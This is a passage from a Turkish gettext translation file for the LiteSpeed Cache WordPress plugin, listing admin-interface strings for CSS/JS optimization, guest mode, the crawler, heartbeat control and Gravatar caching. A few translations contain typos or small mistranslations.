msgstr "Satır içi UCSS ekstra CSS dosya yüklemelerini azaltır. Bu seçenek %1$s sayfaları için otomatik olarak açılmaz. %1$s sayfalarında kullanmak için AÇIK konuma getirin."

#: tpl/page_optm/settings_css.tpl.php:155
#: tpl/page_optm/settings_css.tpl.php:160
#: tpl/page_optm/settings_css.tpl.php:292
#: tpl/page_optm/settings_css.tpl.php:297
#: tpl/page_optm/settings_vpi.tpl.php:100
#: tpl/page_optm/settings_vpi.tpl.php:105
msgid "Run %s Queue Manually"
msgstr "%s kuyruğunu elle çalıştır"

#: tpl/page_optm/settings_css.tpl.php:93
msgid "This option is bypassed because %1$s option is %2$s."
msgstr "%1$s seçeneği %2$s olarak ayarlandığından bu seçenek atlandı."

#: tpl/page_optm/settings_css.tpl.php:85
msgid "Automatic generation of unique CSS is in the background via a cron-based queue."
msgstr "Cron-esaslı kuyrukla arka planda otomatik benzersiz CSS oluşturulması."

#: tpl/page_optm/settings_css.tpl.php:83
msgid "This will drop the unused CSS on each page from the combined file."
msgstr "Bu seçenek her sayfadaki kullanılmayan CSS'i birleştirilmiş dosyadan çıkartır."

#: tpl/page_optm/entry.tpl.php:18 tpl/page_optm/settings_html.tpl.php:17
msgid "HTML Settings"
msgstr "HTML Ayarları"

#: tpl/inc/in_upgrading.php:15
msgid "LiteSpeed cache plugin upgraded. Please refresh the page to complete the configuration data upgrade."
msgstr "LiteSpeed cache eklentisi güncellendi. Veri yükseltmesi yapılandırmasını tamamlamak için sayfyayı yenileyin."

#: tpl/general/settings_tuning.tpl.php:62
msgid "Listed IPs will be considered as Guest Mode visitors."
msgstr "Listedeki IP'ler misafir modu ziyaretçileri olarak kabul edilecektir."

#: tpl/general/settings_tuning.tpl.php:40
msgid "Listed User Agents will be considered as Guest Mode visitors."
msgstr "Listedeki tarayıcı kimlikleri misafir modu ziyaretçisi olarak kabul edilecektir."

#: tpl/general/settings_inc.guest.tpl.php:27
msgid "This option can help to correct the cache vary for certain advanced mobile or tablet visitors."
msgstr "Bu seçenek, gelişmiş bazı mobil veya tablet ziyaretçileri için önbellekteki farklılıkları düzeltmeye yardımcı olacaktır."

#: tpl/general/settings_inc.guest.tpl.php:26
msgid "Guest Mode provides an always cacheable landing page for an automated guest's first time visit, and then attempts to update cache varies via AJAX."
msgstr "Misafir Modu, otomatik bir misafirin ilk ziyareti için her zaman önbelleğe alınabilir bir açılış sayfası sağlar ve önbellekteki değişiklikleri AJAX üzerinden güncellemeyi dener."

#: tpl/general/settings.tpl.php:104
msgid "Please make sure this IP is the correct one for visiting your site."
msgstr "Lütfen bu IP'nin sitenizi ziyaret etmek için doğru ip olduğundan emin olun."

#: tpl/general/settings.tpl.php:103
msgid "the auto-detected IP may not be accurate if you have an additional outgoing IP set, or you have multiple IPs configured on your server."
msgstr "dışarıya açılan ayrı bir IP kümeniz veya sunucunuzda yapılandırılmış birden çok IP varsa otomatik olarak algılanan IP doğru olmayabilir."

#: tpl/general/settings.tpl.php:86
msgid "You need to turn %s on and finish all WebP generation to get maximum result."
msgstr "En iyi sonucu almak için %s açmanız ve WebP oluşturmayı tamamen bitirmeniz gerekir."

#: tpl/general/settings.tpl.php:79
msgid "You need to turn %s on to get maximum result."
msgstr "En iyi sonucu almak için %s açmanız gerekir."

#: tpl/general/settings.tpl.php:48
msgid "This option enables maximum optimization for Guest Mode visitors."
msgstr "Bu seçenek konuk modu ziyaretçileri için maksimum optimizasyon sağlar."

#: tpl/dash/dashboard.tpl.php:54 tpl/dash/dashboard.tpl.php:81
#: tpl/dash/dashboard.tpl.php:520 tpl/dash/dashboard.tpl.php:597
#: tpl/dash/dashboard.tpl.php:624 tpl/dash/dashboard.tpl.php:668
#: tpl/dash/dashboard.tpl.php:712 tpl/dash/dashboard.tpl.php:756
#: tpl/dash/dashboard.tpl.php:800 tpl/dash/dashboard.tpl.php:847
msgid "More"
msgstr "Daha fazla"

#: tpl/dash/dashboard.tpl.php:300
msgid "Remaining Daily Quota"
msgstr "Kalan günlük kota"

#: tpl/crawler/summary.tpl.php:246
msgid "Successfully Crawled"
msgstr "Başarıyla tarandı"

#: tpl/crawler/summary.tpl.php:245
msgid "Already Cached"
msgstr "Zaten önbelleğe alınmış"

#: tpl/crawler/settings.tpl.php:59
msgid "The crawler will use your XML sitemap or sitemap index. Enter the full URL to your sitemap here."
msgstr "Tarayıcı XML site haritanızı veya site haritası dizininizi kullanır. Sitenizin tam URL'sini buraya girin."

#: tpl/cdn/cf.tpl.php:48
msgid "Optional when API token used."
msgstr "API belirteci kullanıldığında isteğe bağlıdır."

#: tpl/cdn/cf.tpl.php:40
msgid "Recommended to generate the token from Cloudflare API token template \"WordPress\"."
msgstr "Belirtecin \"WordPress\" Cloudflare API token şablonundan oluşturulması tavsiye edilir."

#: tpl/cdn/cf.tpl.php:35
msgid "Global API Key / API Token"
msgstr "Global API anahtarı / API belirteci (token)"

#: tpl/cache/settings_inc.object.tpl.php:47
msgid "Use external object cache functionality."
msgstr "Harici nesne önbelleği işlevselliğini kullanın."

#: tpl/cache/settings_inc.cache_mobile.tpl.php:24
msgid "Serve a separate cache copy for mobile visitors."
msgstr "Mobil ziyaretçiler önbelleği ayrı bir kopyadan sun."

#: thirdparty/woocommerce.content.tpl.php:26
msgid "By default, the My Account, Checkout, and Cart pages are automatically excluded from caching. Misconfiguration of page associations in WooCommerce settings may cause some pages to be erroneously excluded."
msgstr "Varsayılan olarak Hesabım, Ödeme ve Sepet sayfaları otomatik olarak önbellek dışında bırakılır. WooCommerce ayarlarında sayfa ilişkilendirmelerinin yanlış yapılandırılması bazı sayfaların hatalı bir şekilde hariç tutulmasına neden olabilir."

#: src/purge.cls.php:273
msgid "Cleaned all Unique CSS files."
msgstr "Tüm benzersiz CSS dosyaları temizlendi."

#: src/lang.cls.php:201
msgid "Add Missing Sizes"
msgstr "Eksik boyutları ekle"

#: src/lang.cls.php:176
msgid "Optimize for Guests Only"
msgstr "Yalnızca konular için optimize et"

#: src/lang.cls.php:172
msgid "Guest Mode JS Excludes"
msgstr "Konuk Modunda hariç tutulan JS'ler"

#: src/lang.cls.php:152
msgid "CCSS Per URL"
msgstr "URL bazlı CCSS"

#: src/lang.cls.php:149
msgid "HTML Lazy Load Selectors"
msgstr "HTML Lazy Load seçicileri"

#: src/lang.cls.php:144
msgid "UCSS URI Excludes"
msgstr "UCSS hariç tutulan URI'ler"

#: src/lang.cls.php:141
msgid "UCSS Inline"
msgstr "Satır içi UCSS"

#: src/lang.cls.php:101
msgid "Guest Optimization"
msgstr "Konuk optimizasyonu"

#: src/lang.cls.php:100
msgid "Guest Mode"
msgstr "Konuk modu"

#: src/lang.cls.php:87
msgid "Guest Mode IPs"
msgstr "Konuk modu IP'leri"

#: src/lang.cls.php:86
msgid "Guest Mode User Agents"
msgstr "Konuk modu tarayıcı kimlikleri"

#: src/error.cls.php:151
msgid "Online node needs to be redetected."
msgstr "Çevrimiçi düğümün yeniden tespiti gerekiyor."

#: src/error.cls.php:147
msgid "The current server is under heavy load."
msgstr "Mevcut sunucu ağır yük altında."

#: src/doc.cls.php:70
msgid "Please see %s for more details."
msgstr "Daha fazla bilgi için lütfen %s inceleyin."

#: src/doc.cls.php:54
msgid "This setting will regenerate crawler list and clear the disabled list!"
msgstr "Bu ayar tarayıcı listesini yeniden oluşturur ve devre dışı bırakılanlar listesini temizler!"

#: src/gui.cls.php:82
msgid "%1$s %2$s files left in queue"
msgstr "Srrada %1$s %2$s dosya kaldı"

#: src/crawler.cls.php:145
msgid "Crawler disabled list is cleared! All crawlers are set to active! "
msgstr "Tarayıcı devre dışı bırakma listesi temizlendi! Tüm tarayıcılar etkin olarak ayarlandı! "

#: src/cloud.cls.php:1510
msgid "Redetected node"
msgstr "Düğüm yeniden tespit edildi"

#: src/cloud.cls.php:1029
msgid "No available Cloud Node after checked server load."
msgstr "Sunucu yükünü kontrol ettikten sonra kullanılabilir bulut düğümü bulunamadı."

#: src/lang.cls.php:157
msgid "Localization Files"
msgstr "Yerelleştirme Dosyaları"

#: cli/purge.cls.php:234
msgid "Purged!"
msgstr "Temizlendi!"

#: tpl/page_optm/settings_localization.tpl.php:130
msgid "Resources listed here will be copied and replaced with local URLs."
msgstr "Burada listelenen kaynaklar kopyalanacak ve yerel URL'lerle değiştirilecektir."

#: tpl/toolbox/beta_test.tpl.php:60
msgid "Use latest GitHub Master commit"
msgstr "En son GitHub Master commitini kullan"

#: tpl/toolbox/beta_test.tpl.php:56
msgid "Use latest GitHub Dev commit"
msgstr "En son GitHub Dev commitini kullan"

#: src/crawler-map.cls.php:372
msgid "No valid sitemap parsed for crawler."
msgstr "Tarayıcı için geçerli bir site haritası bulunamadı."

#: src/lang.cls.php:139
msgid "CSS Combine External and Inline"
msgstr "Harici ve satır içi CSS birleştirme"

#: tpl/page_optm/settings_css.tpl.php:195
msgid "Include external CSS and inline CSS in combined file when %1$s is also enabled. This option helps maintain the priorities of CSS, which should minimize potential errors caused by CSS Combine."
msgstr "%1$s etkinleştirildiğinde  birleştirilmiş dosya içine harici CSS ve satır içi CSS'i dahil et. Bu seçenek CSS önceliklerini koruyarak CSS birleştirme nedeniyle oluşabilecek potansiyel hataları en aza indirir."

#: tpl/page_optm/settings_css.tpl.php:46
msgid "Minify CSS files and inline CSS code."
msgstr "CSS dosyalarını ve satır içi CSS'i küçült."

#: tpl/cache/settings-excludes.tpl.php:32
#: tpl/page_optm/settings_tuning_css.tpl.php:78
#: tpl/page_optm/settings_tuning_css.tpl.php:153
msgid "Predefined list will also be combined w/ the above settings"
msgstr "Önceden tanımlanmış liste yukarıdaki ayarlarla da birleştirilecektir"

#: tpl/page_optm/entry.tpl.php:22
msgid "Localization"
msgstr "Yerelleştirme"

#: tpl/page_optm/settings_js.tpl.php:66
msgid "Include external JS and inline JS in combined file when %1$s is also enabled. This option helps maintain the priorities of JS execution, which should minimize potential errors caused by JS Combine."
msgstr "%1$s de etkinleştirildiğinde, harici ve satır içi JS'leri birleştirilmiş dosyaya dahil et. Bu seçenek JS yürütme önceliklerini korur ve böylece JS birleştirme nedeniyle oluşabilecek potansiyel hataları en aza indirir."

#: tpl/page_optm/settings_js.tpl.php:47
msgid "Combine all local JS files into a single file."
msgstr "Tüm yerel JS dosyalarını tek bir dosyada birleştir."

#: tpl/page_optm/settings_tuning.tpl.php:85
msgid "Listed JS files or inline JS code will not be deferred or delayed."
msgstr "Listedeki JS dosyaları veya satır içi JS kodları ertelenmez."

#: src/lang.cls.php:147
msgid "JS Combine External and Inline"
msgstr "Harici ve dış CSS'i birleştirme"

#: src/admin-display.cls.php:795 tpl/banner/new_version.php:114
#: tpl/banner/score.php:142 tpl/banner/slack.php:49
msgid "Dismiss"
msgstr "Gizle"

#: tpl/cache/settings-esi.tpl.php:101
msgid "The latest data file is"
msgstr "En son veri dosyası"

#: tpl/cache/settings-esi.tpl.php:100
msgid "The list will be merged with the predefined nonces in your local data file."
msgstr "Liste, yerel veri dosyanızdaki önceden tanımlanmış nonce anahtarları ile birleştirilir."

#: tpl/page_optm/settings_css.tpl.php:60
msgid "Combine CSS files and inline CSS code."
msgstr "CSS dosyaları ve satır içi CSS kodlarını birleştirin."

#: tpl/page_optm/settings_js.tpl.php:33
msgid "Minify JS files and inline JS codes."
msgstr "JS dosyaları ve satır içi JS kodlarını küçültün."

#: src/lang.cls.php:190
msgid "LQIP Excludes"
msgstr "LQIP hariç tutmaları"

#: tpl/page_optm/settings_media_exc.tpl.php:132
msgid "These images will not generate LQIP."
msgstr "Bu görseller için LQIP oluşturulmayacak."

#: tpl/toolbox/import_export.tpl.php:70
msgid "Are you sure you want to reset all settings back to the default settings?"
msgstr "Tüm ayarları varsayılan ayarlara döndürmek istediğinizden emin misiniz?"

#: tpl/page_optm/settings_html.tpl.php:188
msgid "This option will remove all %s tags from HTML."
msgstr "Bu seçenek, tüm %s etiketlerini HTML'den kaldırır."

#: tpl/general/online.tpl.php:31
msgid "Are you sure you want to clear all cloud nodes?"
msgstr "Tüm bulut düğümlerini temizlemek istediğinizden emin misiniz?"

#: src/lang.cls.php:174 tpl/presets/standard.tpl.php:52
msgid "Remove Noscript Tags"
msgstr "NoScript etiketlerini kaldır"

#: src/error.cls.php:139
msgid "The site is not registered on QUIC.cloud."
msgstr "Bu site QUIC.cloud'da kayıtlı değil."

#: src/error.cls.php:74 tpl/crawler/settings.tpl.php:123
#: tpl/crawler/settings.tpl.php:144 tpl/crawler/summary.tpl.php:218
msgid "Click here to set."
msgstr "Ayarlamak için buraya tıklayın."

#: src/lang.cls.php:156
msgid "Localize Resources"
msgstr "Kaynakları Yerelleştirin"

#: tpl/cache/settings_inc.browser.tpl.php:26
msgid "Setting Up Custom Headers"
msgstr "Özel başlık ayarları"

#: tpl/toolbox/purge.tpl.php:92
msgid "This will delete all localized resources"
msgstr "Bu, tüm yerelleştirilmiş kaynakları silecektir"

#: src/gui.cls.php:628 src/gui.cls.php:810 tpl/toolbox/purge.tpl.php:91
msgid "Localized Resources"
msgstr "Yerelleştirilmiş Kaynaklar"

#: tpl/page_optm/settings_localization.tpl.php:135
msgid "Comments are supported. Start a line with a %s to turn it into a comment line."
msgstr "Yorumlar desteklenmektedir. Yorum satırına dönüştürmek için bir satırı %s ile başlatın."

#: tpl/page_optm/settings_localization.tpl.php:131
msgid "HTTPS sources only."
msgstr "Yalnızca HTTPS kaynakları."

#: tpl/page_optm/settings_localization.tpl.php:104
msgid "Localize external resources."
msgstr "Harici kaynakları yerelleştirin."

#: tpl/page_optm/settings_localization.tpl.php:27
msgid "Localization Settings"
msgstr "Yerelleştirme Ayarları"

#: tpl/page_optm/settings_css.tpl.php:82
msgid "Use QUIC.cloud online service to generate unique CSS."
msgstr "Benzersiz CSS oluşturmak için QUIC.cloud çevrimiçi hizmetini kullanın."

#: src/lang.cls.php:140
msgid "Generate UCSS"
msgstr "UCSS oluştur"

#: tpl/dash/dashboard.tpl.php:667 tpl/toolbox/purge.tpl.php:82
msgid "Unique CSS"
msgstr "Benzersiz CSS"

#: tpl/toolbox/purge.tpl.php:118
msgid "Purge the cache entries created by this plugin except for Critical CSS & Unique CSS & LQIP caches"
msgstr "Kritik CSS & Benzersiz CSS & LQIP önbellekleri hariç bu eklenti tarafından oluşturulan önbelleği temizle"

#: tpl/toolbox/report.tpl.php:58
msgid "LiteSpeed Report"
msgstr "LiteSpeed Raporu"

#: tpl/img_optm/summary.tpl.php:224
msgid "Image Thumbnail Group Sizes"
msgstr "Görsel küçük resmi grup boyutları"

#. translators: %s: LiteSpeed Web Server version
#: tpl/cache/settings_inc.cache_dropquery.tpl.php:27
msgid "Ignore certain query strings when caching. (LSWS %s required)"
msgstr "Önbelleğe alırken bazı query string'leri görmezden gel (LSWS %s gereklidir)"

#: tpl/cache/settings-purge.tpl.php:116
msgid "For URLs with wildcards, there may be a delay in initiating scheduled purge."
msgstr "Zamanlanmış temizlemenin başlatılması joker karakterli URL'ler için gecikebilir."

#: tpl/cache/settings-purge.tpl.php:92
msgid "By design, this option may serve stale content. Do not enable this option, if that is not OK with you."
msgstr "Bu seçenek tasarımı gereği güncel olmayan içerik sunabilir. Bu sizin için uygun değilse bu seçeneği etkinleştirmeyin."

#: src/lang.cls.php:127
msgid "Serve Stale"
msgstr "Güncel olmayan içeriği sun"

#: src/img-optm.cls.php:1165
msgid "One or more pulled images does not match with the notified image md5"
msgstr "Çekilen bir ya da daha fazla görsel bildirilen görselin md5'i ile uyuşmuyor"

#: src/img-optm.cls.php:1086
msgid "Some optimized image file(s) has expired and was cleared."
msgstr "Optimize edilmiş bazı görsellerin süresi doldu ve temizlendiler."

#: src/error.cls.php:108
msgid "You have too many requested images, please try again in a few minutes."
msgstr "Çok fazla talep edilen görseliniz var, lütfen birkaç dakika sonra tekrar deneyin."

#: src/img-optm.cls.php:1101
msgid "Pulled WebP image md5 does not match the notified WebP image md5."
msgstr "Çekilen WebP görseli md5'i ile bildirilen WebP görseli md5'i eşleşmiyor."

#: tpl/inc/admin_footer.php:19
msgid "Read LiteSpeed Documentation"
msgstr "LiteSpeed dokümantasyonunu okuyun"

#: src/error.cls.php:129
msgid "There is proceeding queue not pulled yet. Queue info: %s."
msgstr "Henüz çekilmemiş ve devam eden işlem kuyruğu var. Kuyruk bilgisi: %s."

#: tpl/page_optm/settings_localization.tpl.php:89
msgid "Specify how long, in seconds, Gravatar files are cached."
msgstr "Gravatar dosyalarının önbellekte ne kadar tutulacağını saniye cinsinden belirtin."

#: src/img-optm.cls.php:618
msgid "Cleared %1$s invalid images."
msgstr "%1$s geçersiz görsel temizlendi."

#: tpl/general/entry.tpl.php:31
msgid "LiteSpeed Cache General Settings"
msgstr "LiteSpeed Cache genel ayarları"

#: tpl/toolbox/purge.tpl.php:110
msgid "This will delete all cached Gravatar files"
msgstr "Bu önbelleğe alınmış tüm Gravatar dosyalarını silecektir"

#: tpl/toolbox/settings-debug.tpl.php:174
msgid "Prevent any debug log of listed pages."
msgstr "Listedeki sayfaların hata ayıklama günlüklerini engelle."

#: tpl/toolbox/settings-debug.tpl.php:160
msgid "Only log listed pages."
msgstr "Sadece listedeki sayfaların kayıtlarını tut."

#: tpl/toolbox/settings-debug.tpl.php:132
msgid "Specify the maximum size of the log file."
msgstr "Azami günlük dosyası boyutunu belirtin."

#: tpl/toolbox/settings-debug.tpl.php:83
msgid "To prevent filling up the disk, this setting should be OFF when everything is working."
msgstr "Disk alanının dolmasını önlemek için, bu seçenek her şey olağan çalışırken KAPALI tutulmalıdır."

#: tpl/toolbox/beta_test.tpl.php:80
msgid "Press the %s button to stop beta testing and go back to the current release from the WordPress Plugin Directory."
msgstr "Beta testini sonlandırmak ve WordPress eklenti dizinindeki geçerli sürüme geri dönmek için %s düğmesine basın."

#: tpl/toolbox/beta_test.tpl.php:64 tpl/toolbox/beta_test.tpl.php:80
msgid "Use latest WordPress release version"
msgstr "En son WordPress sürümü için olan sürümü kullanın"

#: tpl/toolbox/beta_test.tpl.php:64
msgid "OR"
msgstr "VEYA"

#: tpl/toolbox/beta_test.tpl.php:47
msgid "Use this section to switch plugin versions. To beta test a GitHub commit, enter the commit URL in the field below."
msgstr "Bu bölümü kullanarak eklenti sürümleri arasında geçiş yapın. Bir GitHub commitinin beta testini gerçekleştirmek için aşağıdaki alan commit URL'sini yazın."

#: tpl/toolbox/import_export.tpl.php:71
msgid "Reset Settings"
msgstr "Ayarları sıfırla"

#: tpl/toolbox/entry.tpl.php:41
msgid "LiteSpeed Cache Toolbox"
msgstr "LiteSpeed Cache araç kutusu"

#: tpl/toolbox/entry.tpl.php:35
msgid "Beta Test"
msgstr "Beta Testi"

#: tpl/toolbox/entry.tpl.php:34
msgid "Log View"
msgstr "Günlük görünümü"

#: tpl/toolbox/entry.tpl.php:33 tpl/toolbox/settings-debug.tpl.php:55
msgid "Debug Settings"
msgstr "Hata Ayıklama Ayarları"

#: tpl/toolbox/heartbeat.tpl.php:103
msgid "Turn ON to control heartbeat in backend editor."
msgstr "Yönetim paneli editöründe Heartbeat'i kontrol etmek için AÇIK konumuna getirin."

#: tpl/toolbox/heartbeat.tpl.php:73
msgid "Turn ON to control heartbeat on backend."
msgstr "Yönetim panelinde Heartbeat'i kontrol etmek için AÇIK konumuna getirin."

#: tpl/toolbox/heartbeat.tpl.php:58 tpl/toolbox/heartbeat.tpl.php:88
#: tpl/toolbox/heartbeat.tpl.php:118
msgid "Set to %1$s to forbid heartbeat on %2$s."
msgstr "%2$s 'de Hearbeat'i yasaklamak için %1$s olarak ayarlayın."

#: tpl/toolbox/heartbeat.tpl.php:57 tpl/toolbox/heartbeat.tpl.php:87
#: tpl/toolbox/heartbeat.tpl.php:117
msgid "WordPress valid interval is %s seconds."
msgstr "WordPress geçerli aralığı %s saniyedir."

#: tpl/toolbox/heartbeat.tpl.php:56 tpl/toolbox/heartbeat.tpl.php:86
#: tpl/toolbox/heartbeat.tpl.php:116
msgid "Specify the %s heartbeat interval in seconds."
msgstr "%s heartbeat aralığını saniye cinsinden belirtin."

#: tpl/toolbox/heartbeat.tpl.php:43
msgid "Turn ON to control heartbeat on frontend."
msgstr "Ön yüzde heartbeat'i etkinleştirmek için AÇIK konumuna getirin."

#: tpl/toolbox/heartbeat.tpl.php:26
msgid "Disable WordPress interval heartbeat to reduce server load."
msgstr "Sunucu yükünü azaltmak için WordPress heartbeat aralığını devreden çıkartın."

#: tpl/toolbox/heartbeat.tpl.php:19
msgid "Heartbeat Control"
msgstr "Heartbeat kontrolü"

#: tpl/toolbox/report.tpl.php:127
msgid "provide more information here to assist the LiteSpeed team with debugging."
msgstr "LiteSpeed ekibine hata ayıklamada yardımcı olmak için burada daha fazla bilgi verin."

#: tpl/toolbox/report.tpl.php:126
msgid "Optional"
msgstr "İsteğe bağlı"

#: tpl/toolbox/report.tpl.php:100 tpl/toolbox/report.tpl.php:102
msgid "Generate Link for Current User"
msgstr "Geçerli Kullanıcı için bağlantı oluştur"

#: tpl/toolbox/report.tpl.php:96
msgid "Passwordless Link"
msgstr "Şifresiz bağlantı"

#: tpl/toolbox/report.tpl.php:75
msgid "System Information"
msgstr "Sistem Bilgisi"

#: tpl/toolbox/report.tpl.php:52
msgid "Go to plugins list"
msgstr "Eklentiler listesine git"

#: tpl/toolbox/report.tpl.php:51
msgid "Install DoLogin Security"
msgstr "DoLogin Security yükleyin"

#: tpl/general/settings.tpl.php:102
msgid "Check my public IP from"
msgstr "Şuradan açık IP'imi kontrol et"

#: tpl/general/settings.tpl.php:102
msgid "Your server IP"
msgstr "Sunucu IP'niz"

#: tpl/general/settings.tpl.php:101
msgid "Enter this site's IP address to allow cloud services directly call IP instead of domain name. This eliminates the overhead of DNS and CDN lookups."
msgstr "Bulut hizmetlerinin bu siteye alan adı yerine doğrudan IP'den ulaşabilmesi için site IP adresini girin. Bu, DNS ve CDN aramalarından kaynaklanan ek yükü ortadan kaldırır."

#: tpl/crawler/settings.tpl.php:31
msgid "This will enable crawler cron."
msgstr "Bu tarayıcının cron işlerini etkinleştirecektir."

#: tpl/crawler/settings.tpl.php:17
msgid "Crawler General Settings"
msgstr "Tarayıcı genel ayarları"

#: tpl/crawler/blacklist.tpl.php:54
msgid "Remove from Blocklist"
msgstr "Kara listeden kaldır"

#: tpl/crawler/blacklist.tpl.php:23
msgid "Empty blocklist"
msgstr "Kara listeyi boşalt"

#: tpl/crawler/blacklist.tpl.php:22
msgid "Are you sure to delete all existing blocklist items?"
msgstr "Mevcut tüm kara liste kayıtlarını silmek istediğinizden emin misiniz?"

#: tpl/crawler/blacklist.tpl.php:88 tpl/crawler/map.tpl.php:103
msgid "Blocklisted due to not cacheable"
msgstr "Önbelleğe alınabilir olmadığı için kara listeye alındı"

#: tpl/crawler/map.tpl.php:89
msgid "Add to Blocklist"
msgstr "Kara listeye ekle"

#: tpl/crawler/blacklist.tpl.php:43 tpl/crawler/map.tpl.php:78
msgid "Operation"
msgstr "İşlem"

#: tpl/crawler/map.tpl.php:52
msgid "Sitemap Total"
msgstr "Site haritası toplam"

#: tpl/crawler/map.tpl.php:48
msgid "Sitemap List"
msgstr "Site haritası listesi"

#: tpl/crawler/map.tpl.php:32
msgid "Refresh Crawler Map"
msgstr "Tarayıcı haritasını tazele"

#: tpl/crawler/map.tpl.php:29
msgid "Clean Crawler Map"
msgstr "Tarayıcı haritasını temizle"

#: tpl/crawler/blacklist.tpl.php:28 tpl/crawler/entry.tpl.php:16
msgid "Blocklist"
msgstr "Engelleme Listesi"

#: tpl/crawler/entry.tpl.php:15
msgid "Map"
msgstr "Harita"

#: tpl/crawler/entry.tpl.php:14
msgid "Summary"
msgstr "Özet"

#: tpl/crawler/map.tpl.php:63 tpl/crawler/map.tpl.php:102
msgid "Cache Miss"
msgstr "Önbellekte yoktu"

#: tpl/crawler/map.tpl.php:62 tpl/crawler/map.tpl.php:101
msgid "Cache Hit"
msgstr "Önbellekten geldi"

#: tpl/crawler/summary.tpl.php:244
msgid "Waiting to be Crawled"
msgstr "Taranmayı bekliyor"

#: tpl/crawler/blacklist.tpl.php:89 tpl/crawler/map.tpl.php:64
#: tpl/crawler/map.tpl.php:104 tpl/crawler/summary.tpl.php:199
#: tpl/crawler/summary.tpl.php:247
msgid "Blocklisted"
msgstr "Kara listede"

#: tpl/crawler/summary.tpl.php:194
msgid "Miss"
msgstr "Önbellekte değildi"

#: tpl/crawler/summary.tpl.php:189
msgid "Hit"
msgstr "Önbellekte"

#: tpl/crawler/summary.tpl.php:184
msgid "Waiting"
msgstr "Bekliyor"

#: tpl/crawler/summary.tpl.php:155
msgid "Running"
msgstr "Çalışan"

#: tpl/crawler/settings.tpl.php:177
msgid "Use %1$s in %2$s to indicate this cookie has not been set."
msgstr "Bu çerezin olmadığını belirtmek için %2$s içinde %1$s kullanın."

#: src/admin-display.cls.php:449
msgid "Add new cookie to simulate"
msgstr "Simülasyon için yeni çerez ekleyin"

#: src/admin-display.cls.php:448
msgid "Remove cookie simulation"
msgstr "Çerez simülasyonunu kaldır"

#. translators: %s: Current mobile agents in htaccess
#: tpl/cache/settings_inc.cache_mobile.tpl.php:51
msgid "Htaccess rule is: %s"
msgstr "Htaccess kuralı: %s"

#. translators: %s: LiteSpeed Cache menu label
#: tpl/cache/more_settings_tip.tpl.php:27
msgid "More settings available under %s menu"
msgstr "%s menüsü içinde daha fazla ayar mevcuttur"

#: tpl/cache/settings_inc.browser.tpl.php:63
msgid "The amount of time, in seconds, that files will be stored in browser cache before expiring."
msgstr "Bu dosyaların geçerlilikleri dolmadan önce tarayıcı ön belleğinde saklanacakları saniye cinsinden süre."

#: tpl/cache/settings_inc.browser.tpl.php:25
msgid "OpenLiteSpeed users please check this"
msgstr "OpenLiteSpeed kullanıcıları lütfen buna göz atın"

#: tpl/cache/settings_inc.browser.tpl.php:17
msgid "Browser Cache Settings"
msgstr "Tarayıcı önbellek ayarları"

#: tpl/cache/settings-cache.tpl.php:158
msgid "Paths containing these strings will be forced to public cached regardless of no-cacheable settings."
msgstr "Bu metinleri içeren yollar, önbelleğe almama ayalarından bağımsız olarak önbelleğe alınması zorunlu hale getirilir."

#: tpl/cache/settings-cache.tpl.php:49
msgid "With QUIC.cloud CDN enabled, you may still be seeing cache headers from your local server."
msgstr "QUIC.cloud CDN etkinken, sunucunuzun header bilgilerini önbellekten görmeye devam edebilirsiniz."

#: tpl/cache/settings-esi.tpl.php:110
msgid "An optional second parameter may be used to specify cache control. Use a space to separate"
msgstr "Önbellek denetimini belirtmek için isteğe bağlı ikinci bir parametre kullanılabilir. Ayırmak için boşluk kullanın"

#: tpl/cache/settings-esi.tpl.php:108
msgid "The above nonces will be converted to ESI automatically."
msgstr "Yukarıdaki nonce anahtarları otomatik olarak ESI'ye dönüştürülür."

#: tpl/cache/entry.tpl.php:21 tpl/cache/entry.tpl.php:75
msgid "Browser"
msgstr "Tarayıcı"

#: tpl/cache/entry.tpl.php:20 tpl/cache/entry.tpl.php:74
msgid "Object"
msgstr "Nesne"

#. translators: %1$s: Object cache name, %2$s: Port number
#: tpl/cache/settings_inc.object.tpl.php:128
#: tpl/cache/settings_inc.object.tpl.php:137
msgid "Default port for %1$s is %2$s."
msgstr "%1$s için varsayılan bağlantı noktası %2$s."

#: tpl/cache/settings_inc.object.tpl.php:33
msgid "Object Cache Settings"
msgstr "Nesne önbelleği ayarları"

#: tpl/cache/settings-ttl.tpl.php:111
msgid "Specify an HTTP status code and the number of seconds to cache that page, separated by a space."
msgstr "Bu sayfayı önbelleğe almak için, boşlukla ayırarak bir HTTP durum kodu ve saniye cinsinden süre belirtin."

#: tpl/cache/settings-ttl.tpl.php:59
msgid "Specify how long, in seconds, the front page is cached."
msgstr "Ana sayfanın önbellekte ne kadar süreyle tutulacağını saniye cinsinden belirtin."

#: tpl/cache/entry.tpl.php:67 tpl/cache/settings-ttl.tpl.php:15
msgid "TTL"
msgstr "TTL"

#: tpl/cache/settings-purge.tpl.php:86
msgid "If ON, the stale copy of a cached page will be shown to visitors until a new cache copy is available. Reduces the server load for following visits. If OFF, the page will be dynamically generated while visitors wait."
msgstr "AÇIKsa, ziyaretçileriniz yeni bir önbellek kopyası hazır olana kadar sayfanın önbellekteki eski kopyasını görecektir. Sonraki ziyaretler için sunucu yükünü azaltır. KAPALI ise ziyaretçi beklerken sayfa dinamik olarak oluşturulur."

#: tpl/page_optm/settings_css.tpl.php:341
msgid "Swap"
msgstr "Değiştir"

#: tpl/page_optm/settings_css.tpl.php:340
msgid "Set this to append %1$s to all %2$s rules before caching CSS to specify how fonts should be displayed while being downloaded."
msgstr "Bunu etkinleştirerek, CSS'yi önbelleğe almadan önce tüm %2$s kurallarına %1$s eklenmesini sağlayın ve böylece yazı tiplerinin indirilirken nasıl görüntüleneceğini belirtin."

#: tpl/page_optm/settings_localization.tpl.php:67
msgid "Avatar list in queue waiting for update"
msgstr "Avatar listesi kuyrukta güncelleştirme bekliyor"

#: tpl/page_optm/settings_localization.tpl.php:54
msgid "Refresh Gravatar cache by cron."
msgstr "Gravatar önbelleğini cron ile yenileyin."

#: tpl/page_optm/settings_localization.tpl.php:41
msgid "Accelerates the speed by caching Gravatar (Globally Recognized Avatars)."
msgstr "Gravatarları (Globally Recognized Avatars) önbelleğe alarak hızı hızlandırır."

#: tpl/page_optm/settings_localization.tpl.php:40
msgid "Store Gravatar locally."
msgstr "Gravatar'ları yerel olarak saklayın."

#: tpl/page_optm/settings_localization.tpl.php:22
msgid "Failed to create Avatar table. Please follow <a %s>Table Creation guidance from LiteSpeed Wiki</a> to finish setup."
msgstr "Avatar tablosu oluşturulamadı.Kurulum bitirmek için <a %s> LiteSpeed Wiki'sindeki tablo oluşturma kılavuzunu</a> takip edin."

#: tpl/page_optm/settings_media.tpl.php:156
